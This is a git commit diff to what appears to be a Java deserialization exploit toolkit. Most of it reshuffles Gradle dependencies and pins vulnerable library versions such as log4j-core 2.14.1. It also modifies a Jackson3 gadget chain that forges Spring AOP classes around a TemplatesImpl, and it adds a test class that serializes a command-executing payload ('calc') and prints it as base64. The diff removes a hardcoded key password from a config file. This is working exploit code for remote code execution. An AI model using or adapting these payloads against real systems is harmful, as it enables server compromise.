feat: I helped YJ

This commit is contained in:
qi4L
2025-09-10 22:23:03 +08:00
parent 5667002721
commit 2431b0643e
6 changed files with 128 additions and 183 deletions
+65 -59
View File
@@ -26,65 +26,69 @@ shadowJar {
}
dependencies {
api libs.io.projectreactor.reactor.core
api libs.com.ibm.websphere.appserver.api.com.ibm.websphere.appserver.api.wsoc
api libs.org.glassfish.tyrus.tyrus.server
api libs.org.javassist.javassist
api libs.xerces.xercesimpl
api libs.com.fasterxml.jackson.core.jackson.databind
api libs.com.teradata.jdbc.terajdbc
api libs.jboss.jboss.serialization
api libs.org.apache.wicket.wicket.util
api libs.com.vaadin.vaadin.server
api libs.org.apache.myfaces.core.myfaces.impl
api libs.rhino.js
api libs.rome.rome
api libs.com.alibaba.fastjson
api libs.com.alibaba.fastjson2.fastjson2
api libs.org.jenkins.ci.main.remoting
api libs.org.jboss.weld.weld.core
api libs.org.jboss.remoting.jboss.remoting
api libs.org.jboss.remotingjmx.remoting.jmx
api libs.org.jboss.interceptor.jboss.interceptor.core
api libs.org.jboss.interceptor.jboss.interceptor.spi
api libs.org.python.jython.standalone
api libs.org.hibernate.hibernate.core
api libs.org.fusesource.jansi.jansi
api libs.commons.cli.commons.cli
api libs.org.apache.commons.commons.lang3
api libs.org.apache.logging.log4j.log4j.core
api libs.org.springframework.spring.core
api libs.org.springframework.spring.beans
api libs.org.springframework.spring.web
api libs.org.springframework.spring.oxm
api libs.org.springframework.spring.tx
api libs.org.springframework.spring.jdbc
api libs.org.springframework.spring.webmvc
api libs.org.springframework.spring.aop
api libs.org.springframework.spring.context.support
api libs.org.springframework.spring.test
api libs.javax.servlet.javax.servlet.api
api libs.com.mchange.c3p0
api libs.org.apache.tomcat.embed.tomcat.embed.core
api libs.org.ow2.asm.asm
api libs.com.unboundid.unboundid.ldapsdk
api libs.com.nqzero.permit.reflect
api libs.net.jodah.expiringmap
api libs.org.reflections.reflections
api libs.org.beanshell.bsh
api libs.io.undertow.undertow.core
api libs.io.undertow.undertow.servlet
api libs.org.jboss.spec.javax.security.jacc.jboss.jacc.api.v1.v4.spec
api libs.com.beust.jcommander
api libs.org.codehaus.groovy.groovy
api libs.org.apache.commons.commons.text
api libs.org.eclipse.jetty.jetty.ant
api libs.org.apache.maven.plugins.maven.assembly.plugin
api libs.org.apache.click.click.nodeps
api libs.org.clojure.clojure
api libs.cn.hutool.hutool.all
api libs.javax.websocket.javax.websocket.api
api libs.com.caucho.resin
implementation 'cn.hutool:hutool-all:5.7.7'
implementation 'com.alibaba:fastjson:1.2.83'
implementation 'com.alibaba.fastjson2:fastjson2:2.0.26'
implementation 'com.beust:jcommander:1.78'
implementation 'com.caucho:resin:4.0.65'
implementation 'com.fasterxml.jackson.core:jackson-databind:2.11.3'
implementation 'com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc:1.0.10'
implementation 'com.mchange:c3p0:0.9.5.5'
implementation 'com.nqzero:permit-reflect:0.3'
implementation 'com.teradata.jdbc:terajdbc:20.00.00.06'
implementation 'com.unboundid:unboundid-ldapsdk:4.0.9'
implementation 'com.vaadin:vaadin-server:7.7.14'
implementation 'commons-cli:commons-cli:1.5.0'
implementation 'io.projectreactor:reactor-core:3.4.26'
implementation 'io.undertow:undertow-core:2.2.2.Final'
implementation 'io.undertow:undertow-servlet:2.2.2.Final'
implementation 'javax.servlet:javax.servlet-api:4.0.1'
implementation 'javax.websocket:javax.websocket-api:1.1'
implementation 'jboss:jboss-serialization:4.2.2.GA'
implementation 'net.jodah:expiringmap:0.5.9'
implementation 'org.apache.click:click-nodeps:2.3.0'
implementation 'org.apache.commons:commons-collections4:4.0'
implementation 'org.apache.commons:commons-lang3:3.12.0'
implementation 'org.apache.commons:commons-text:1.8'
implementation 'org.apache.logging.log4j:log4j-core:2.14.1'
implementation 'org.apache.maven.plugins:maven-assembly-plugin:3.0.0'
implementation 'org.apache.myfaces.core:myfaces-impl:2.2.9'
implementation 'org.apache.tomcat.embed:tomcat-embed-core:8.5.58'
implementation 'org.apache.tomcat:tomcat-websocket:9.0.62'
implementation 'org.apache.wicket:wicket-util:6.23.0'
implementation 'org.aspectj:aspectjweaver:1.9.7'
implementation 'org.beanshell:bsh:2.0b5'
implementation 'org.clojure:clojure:1.8.0'
implementation 'org.codehaus.groovy:groovy:2.4.5'
implementation 'org.eclipse.jetty:jetty-ant:11.0.7'
implementation 'org.fusesource.jansi:jansi:2.4.0'
implementation 'org.glassfish.tyrus:tyrus-server:2.0.0'
implementation 'org.hibernate:hibernate-core:4.3.11.Final'
implementation 'org.javassist:javassist:3.29.2-GA'
implementation 'org.jboss.interceptor:jboss-interceptor-core:2.0.0.Final'
implementation 'org.jboss.interceptor:jboss-interceptor-spi:2.0.0.Final'
implementation 'org.jboss.remoting:jboss-remoting:4.0.19.Final'
implementation 'org.jboss.remotingjmx:remoting-jmx:2.0.1.Final'
implementation 'org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec:1.0.3.Final'
implementation 'org.jboss.weld:weld-core:1.1.33.Final'
implementation 'org.jenkins-ci.main:remoting:2.55'
implementation 'org.ow2.asm:asm:8.0.1'
implementation 'org.python:jython-standalone:2.5.2'
implementation 'org.reflections:reflections:0.9.10'
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
implementation 'org.springframework:spring-aop:5.2.3.RELEASE'
implementation 'org.springframework:spring-beans:5.2.3.RELEASE'
implementation 'org.springframework:spring-context-support:5.2.3.RELEASE'
implementation 'org.springframework:spring-core:5.2.3.RELEASE'
implementation 'org.springframework:spring-jdbc:5.2.3.RELEASE'
implementation 'org.springframework:spring-oxm:5.2.3.RELEASE'
implementation 'org.springframework:spring-test:5.2.3.RELEASE'
implementation 'org.springframework:spring-tx:5.2.3.RELEASE'
implementation 'org.springframework:spring-web:5.2.3.RELEASE'
implementation 'org.springframework:spring-webmvc:5.2.3.RELEASE'
implementation 'rhino:js:1.7R2'
implementation 'rome:rome:1.0'
implementation 'xerces:xercesImpl:2.12.0'
implementation files('libs/jai-core-1.1.3.jar')
implementation files('libs/weblogic-server.jar')
@@ -115,6 +119,8 @@ dependencies {
implementation 'commons-beanutils:commons-beanutils:1.9.4'
runtimeOnly libs.org.aspectj.aspectjweaver
compileOnly libs.org.apache.tomcat.tomcat.websocket
}
+1 -121
View File
@@ -2,129 +2,9 @@
# https://docs.gradle.org/current/userguide/platforms.html#sub::toml-dependencies-format
[versions]
cn-hutool-hutool-all = "5.7.7"
com-alibaba-fastjson = "1.2.83"
com-alibaba-fastjson2-fastjson2 = "2.0.26"
com-beust-jcommander = "1.78"
com-caucho-resin = "4.0.65"
com-fasterxml-jackson-core-jackson-databind = "2.11.3"
com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = "1.0.10"
com-mchange-c3p0 = "0.9.5.5"
com-nqzero-permit-reflect = "0.3"
com-teradata-jdbc-terajdbc = "20.00.00.06"
com-unboundid-unboundid-ldapsdk = "4.0.9"
com-vaadin-vaadin-server = "7.7.14"
commons-cli-commons-cli = "1.5.0"
io-projectreactor-reactor-core = "3.4.26"
io-undertow-undertow-core = "2.2.2.Final"
io-undertow-undertow-servlet = "2.2.2.Final"
javax-servlet-javax-servlet-api = "4.0.1"
javax-websocket-javax-websocket-api = "1.1"
jboss-jboss-serialization = "4.2.2.GA"
net-jodah-expiringmap = "0.5.9"
org-apache-click-click-nodeps = "2.3.0"
org-apache-commons-commons-collections4 = "4.0"
org-apache-commons-commons-lang3 = "3.12.0"
org-apache-commons-commons-text = "1.8"
org-apache-logging-log4j-log4j-core = "2.14.1"
org-apache-maven-plugins-maven-assembly-plugin = "3.0.0"
org-apache-myfaces-core-myfaces-impl = "2.2.9"
org-apache-tomcat-embed-tomcat-embed-core = "8.5.58"
org-apache-tomcat-tomcat-websocket = "9.0.62"
org-apache-wicket-wicket-util = "6.23.0"
org-aspectj-aspectjweaver = "1.9.7"
org-beanshell-bsh = "2.0b5"
org-clojure-clojure = "1.8.0"
org-codehaus-groovy-groovy = "2.4.5"
org-eclipse-jetty-jetty-ant = "11.0.7"
org-fusesource-jansi-jansi = "2.4.0"
org-glassfish-tyrus-tyrus-server = "2.0.0"
org-hibernate-hibernate-core = "4.3.11.Final"
org-javassist-javassist = "3.29.2-GA"
org-jboss-interceptor-jboss-interceptor-core = "2.0.0.Final"
org-jboss-interceptor-jboss-interceptor-spi = "2.0.0.Final"
org-jboss-remoting-jboss-remoting = "4.0.19.Final"
org-jboss-remotingjmx-remoting-jmx = "2.0.1.Final"
org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = "1.0.3.Final"
org-jboss-weld-weld-core = "1.1.33.Final"
org-jenkins-ci-main-remoting = "2.55"
org-ow2-asm-asm = "8.0.1"
org-python-jython-standalone = "2.5.2"
org-reflections-reflections = "0.9.10"
org-springframework-spring-aop = "5.2.3.RELEASE"
org-springframework-spring-beans = "5.2.3.RELEASE"
org-springframework-spring-context-support = "5.2.3.RELEASE"
org-springframework-spring-core = "5.2.3.RELEASE"
org-springframework-spring-jdbc = "5.2.3.RELEASE"
org-springframework-spring-oxm = "5.2.3.RELEASE"
org-springframework-spring-test = "5.2.3.RELEASE"
org-springframework-spring-tx = "5.2.3.RELEASE"
org-springframework-spring-web = "5.2.3.RELEASE"
org-springframework-spring-webmvc = "5.2.3.RELEASE"
rhino-js = "1.7R2"
rome-rome = "1.0"
xerces-xercesimpl = "2.12.0"
[libraries]
cn-hutool-hutool-all = { module = "cn.hutool:hutool-all", version.ref = "cn-hutool-hutool-all" }
com-alibaba-fastjson = { module = "com.alibaba:fastjson", version.ref = "com-alibaba-fastjson" }
com-alibaba-fastjson2-fastjson2 = { module = "com.alibaba.fastjson2:fastjson2", version.ref = "com-alibaba-fastjson2-fastjson2" }
com-beust-jcommander = { module = "com.beust:jcommander", version.ref = "com-beust-jcommander" }
com-caucho-resin = { module = "com.caucho:resin", version.ref = "com-caucho-resin" }
com-fasterxml-jackson-core-jackson-databind = { module = "com.fasterxml.jackson.core:jackson-databind", version.ref = "com-fasterxml-jackson-core-jackson-databind" }
com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc = { module = "com.ibm.websphere.appserver.api:com.ibm.websphere.appserver.api.wsoc", version.ref = "com-ibm-websphere-appserver-api-com-ibm-websphere-appserver-api-wsoc" }
com-mchange-c3p0 = { module = "com.mchange:c3p0", version.ref = "com-mchange-c3p0" }
com-nqzero-permit-reflect = { module = "com.nqzero:permit-reflect", version.ref = "com-nqzero-permit-reflect" }
com-teradata-jdbc-terajdbc = { module = "com.teradata.jdbc:terajdbc", version.ref = "com-teradata-jdbc-terajdbc" }
com-unboundid-unboundid-ldapsdk = { module = "com.unboundid:unboundid-ldapsdk", version.ref = "com-unboundid-unboundid-ldapsdk" }
com-vaadin-vaadin-server = { module = "com.vaadin:vaadin-server", version.ref = "com-vaadin-vaadin-server" }
commons-cli-commons-cli = { module = "commons-cli:commons-cli", version.ref = "commons-cli-commons-cli" }
io-projectreactor-reactor-core = { module = "io.projectreactor:reactor-core", version.ref = "io-projectreactor-reactor-core" }
io-undertow-undertow-core = { module = "io.undertow:undertow-core", version.ref = "io-undertow-undertow-core" }
io-undertow-undertow-servlet = { module = "io.undertow:undertow-servlet", version.ref = "io-undertow-undertow-servlet" }
javax-servlet-javax-servlet-api = { module = "javax.servlet:javax.servlet-api", version.ref = "javax-servlet-javax-servlet-api" }
javax-websocket-javax-websocket-api = { module = "javax.websocket:javax.websocket-api", version.ref = "javax-websocket-javax-websocket-api" }
jboss-jboss-serialization = { module = "jboss:jboss-serialization", version.ref = "jboss-jboss-serialization" }
net-jodah-expiringmap = { module = "net.jodah:expiringmap", version.ref = "net-jodah-expiringmap" }
org-apache-click-click-nodeps = { module = "org.apache.click:click-nodeps", version.ref = "org-apache-click-click-nodeps" }
org-apache-commons-commons-collections4 = { module = "org.apache.commons:commons-collections4", version.ref = "org-apache-commons-commons-collections4" }
org-apache-commons-commons-lang3 = { module = "org.apache.commons:commons-lang3", version.ref = "org-apache-commons-commons-lang3" }
org-apache-commons-commons-text = { module = "org.apache.commons:commons-text", version.ref = "org-apache-commons-commons-text" }
org-apache-logging-log4j-log4j-core = { module = "org.apache.logging.log4j:log4j-core", version.ref = "org-apache-logging-log4j-log4j-core" }
org-apache-maven-plugins-maven-assembly-plugin = { module = "org.apache.maven.plugins:maven-assembly-plugin", version.ref = "org-apache-maven-plugins-maven-assembly-plugin" }
org-apache-myfaces-core-myfaces-impl = { module = "org.apache.myfaces.core:myfaces-impl", version.ref = "org-apache-myfaces-core-myfaces-impl" }
org-apache-tomcat-embed-tomcat-embed-core = { module = "org.apache.tomcat.embed:tomcat-embed-core", version.ref = "org-apache-tomcat-embed-tomcat-embed-core" }
org-apache-tomcat-tomcat-websocket = { module = "org.apache.tomcat:tomcat-websocket", version.ref = "org-apache-tomcat-tomcat-websocket" }
org-apache-wicket-wicket-util = { module = "org.apache.wicket:wicket-util", version.ref = "org-apache-wicket-wicket-util" }
org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" }
org-beanshell-bsh = { module = "org.beanshell:bsh", version.ref = "org-beanshell-bsh" }
org-clojure-clojure = { module = "org.clojure:clojure", version.ref = "org-clojure-clojure" }
org-codehaus-groovy-groovy = { module = "org.codehaus.groovy:groovy", version.ref = "org-codehaus-groovy-groovy" }
org-eclipse-jetty-jetty-ant = { module = "org.eclipse.jetty:jetty-ant", version.ref = "org-eclipse-jetty-jetty-ant" }
org-fusesource-jansi-jansi = { module = "org.fusesource.jansi:jansi", version.ref = "org-fusesource-jansi-jansi" }
org-glassfish-tyrus-tyrus-server = { module = "org.glassfish.tyrus:tyrus-server", version.ref = "org-glassfish-tyrus-tyrus-server" }
org-hibernate-hibernate-core = { module = "org.hibernate:hibernate-core", version.ref = "org-hibernate-hibernate-core" }
org-javassist-javassist = { module = "org.javassist:javassist", version.ref = "org-javassist-javassist" }
org-jboss-interceptor-jboss-interceptor-core = { module = "org.jboss.interceptor:jboss-interceptor-core", version.ref = "org-jboss-interceptor-jboss-interceptor-core" }
org-jboss-interceptor-jboss-interceptor-spi = { module = "org.jboss.interceptor:jboss-interceptor-spi", version.ref = "org-jboss-interceptor-jboss-interceptor-spi" }
org-jboss-remoting-jboss-remoting = { module = "org.jboss.remoting:jboss-remoting", version.ref = "org-jboss-remoting-jboss-remoting" }
org-jboss-remotingjmx-remoting-jmx = { module = "org.jboss.remotingjmx:remoting-jmx", version.ref = "org-jboss-remotingjmx-remoting-jmx" }
org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec = { module = "org.jboss.spec.javax.security.jacc:jboss-jacc-api_1.4_spec", version.ref = "org-jboss-spec-javax-security-jacc-jboss-jacc-api-v1-v4-spec" }
org-jboss-weld-weld-core = { module = "org.jboss.weld:weld-core", version.ref = "org-jboss-weld-weld-core" }
org-jenkins-ci-main-remoting = { module = "org.jenkins-ci.main:remoting", version.ref = "org-jenkins-ci-main-remoting" }
org-ow2-asm-asm = { module = "org.ow2.asm:asm", version.ref = "org-ow2-asm-asm" }
org-python-jython-standalone = { module = "org.python:jython-standalone", version.ref = "org-python-jython-standalone" }
org-reflections-reflections = { module = "org.reflections:reflections", version.ref = "org-reflections-reflections" }
org-springframework-spring-aop = { module = "org.springframework:spring-aop", version.ref = "org-springframework-spring-aop" }
org-springframework-spring-beans = { module = "org.springframework:spring-beans", version.ref = "org-springframework-spring-beans" }
org-springframework-spring-context-support = { module = "org.springframework:spring-context-support", version.ref = "org-springframework-spring-context-support" }
org-springframework-spring-core = { module = "org.springframework:spring-core", version.ref = "org-springframework-spring-core" }
org-springframework-spring-jdbc = { module = "org.springframework:spring-jdbc", version.ref = "org-springframework-spring-jdbc" }
org-springframework-spring-oxm = { module = "org.springframework:spring-oxm", version.ref = "org-springframework-spring-oxm" }
org-springframework-spring-test = { module = "org.springframework:spring-test", version.ref = "org-springframework-spring-test" }
org-springframework-spring-tx = { module = "org.springframework:spring-tx", version.ref = "org-springframework-spring-tx" }
org-springframework-spring-web = { module = "org.springframework:spring-web", version.ref = "org-springframework-spring-web" }
org-springframework-spring-webmvc = { module = "org.springframework:spring-webmvc", version.ref = "org-springframework-spring-webmvc" }
rhino-js = { module = "rhino:js", version.ref = "rhino-js" }
rome-rome = { module = "rome:rome", version.ref = "rome-rome" }
xerces-xercesimpl = { module = "xerces:xercesImpl", version.ref = "xerces-xercesimpl" }
org-aspectj-aspectjweaver = { module = "org.aspectj:aspectjweaver", version.ref = "org-aspectj-aspectjweaver" }
@@ -46,10 +46,10 @@ public class Config {
public static boolean TLSProxy = false;
@Parameter(names = {"-tP", " --TLSPort"}, help = true, description = "TLS port", order = 5)
public static String TLSPort = "1636";
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "TLS private key", order = 5)
public static String keyPass = "326q999h80s8";
@Parameter(names = {"-kP", " --keyPass"}, help = true, description = "JKS key password", order = 5)
public static String keyPass = "";
@Parameter(names = {"-cF", " --certFile"}, help = true, description = "JKS certificate file Path", order = 5)
public static String certFile = "C:\\Users\\22393\\Downloads\\qi4l.top_jks\\qi4l.top.jks";
public static String certFile = "";
@Parameter(names = {"-j", "--jndi"}, help = true, description = "starter", order = 5)
public static boolean jndi = false;
@@ -13,6 +13,7 @@ import org.springframework.aop.framework.AdvisedSupport;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.springframework.aop.framework.AdvisorChainFactory;
import javax.swing.event.EventListenerList;
import javax.xml.transform.Templates;
@@ -33,6 +34,14 @@ public class Jackson3 implements ObjectPayload<Object> {
public static Object makeTemplatesImplAopProxy(String cmd) throws Exception {
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(Gadgets.createTemplatesImpl(cmd));
POOL.insertClassPath(new ClassClassPath(Class.forName("org.springframework.aop.framework.DefaultAdvisorChainFactory")));
final CtClass ctDefaultAdvisorChainFactory = POOL.get("org.springframework.aop.framework.DefaultAdvisorChainFactory");
insertField(ctDefaultAdvisorChainFactory, "serialVersionUID", "private static final long serialVersionUID = 273003553246259276L;");
Object cFactory = ctDefaultAdvisorChainFactory.toClass(new SuClassLoader()).newInstance();
advisedSupport.setAdvisorChainFactory((AdvisorChainFactory) cFactory);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
@@ -0,0 +1,28 @@
package com.example.demo.demos.web;
import com.qi4l.JYso.gadgets.ObjectPayload;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class Test {
public static void main(String[] args) throws Exception {
final Class<? extends ObjectPayload> payloadClass = ObjectPayload.Utils.getPayloadClass("Jackson3");
ObjectPayload payload = payloadClass.newInstance();
Object object = payload.getObject("calc");
secCig rootObj = new secCig();
rootObj.setMessage("qi4l");
rootObj.setSecObject(object);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(rootObj);
oos.close();
byte[] payloadBytes = baos.toByteArray();
String base64Payload = Base64.getEncoder().encodeToString(payloadBytes);
System.out.println(base64Payload);
}
}
@@ -0,0 +1,22 @@
package com.example.demo.demos.web;
import java.io.Serializable;
/* loaded from: demo.jar:com/example/demo/demos/web/secCig.class */
public class secCig implements Serializable {
private static final long serialVersionUID = 1;
public String message;
public Object secObject;
public String toString() {
return "secCig{message='" + this.message + "'}";
}
public void setMessage(String message) {
this.message = message;
}
public void setSecObject(Object secObject) {
this.secObject = secObject;
}
}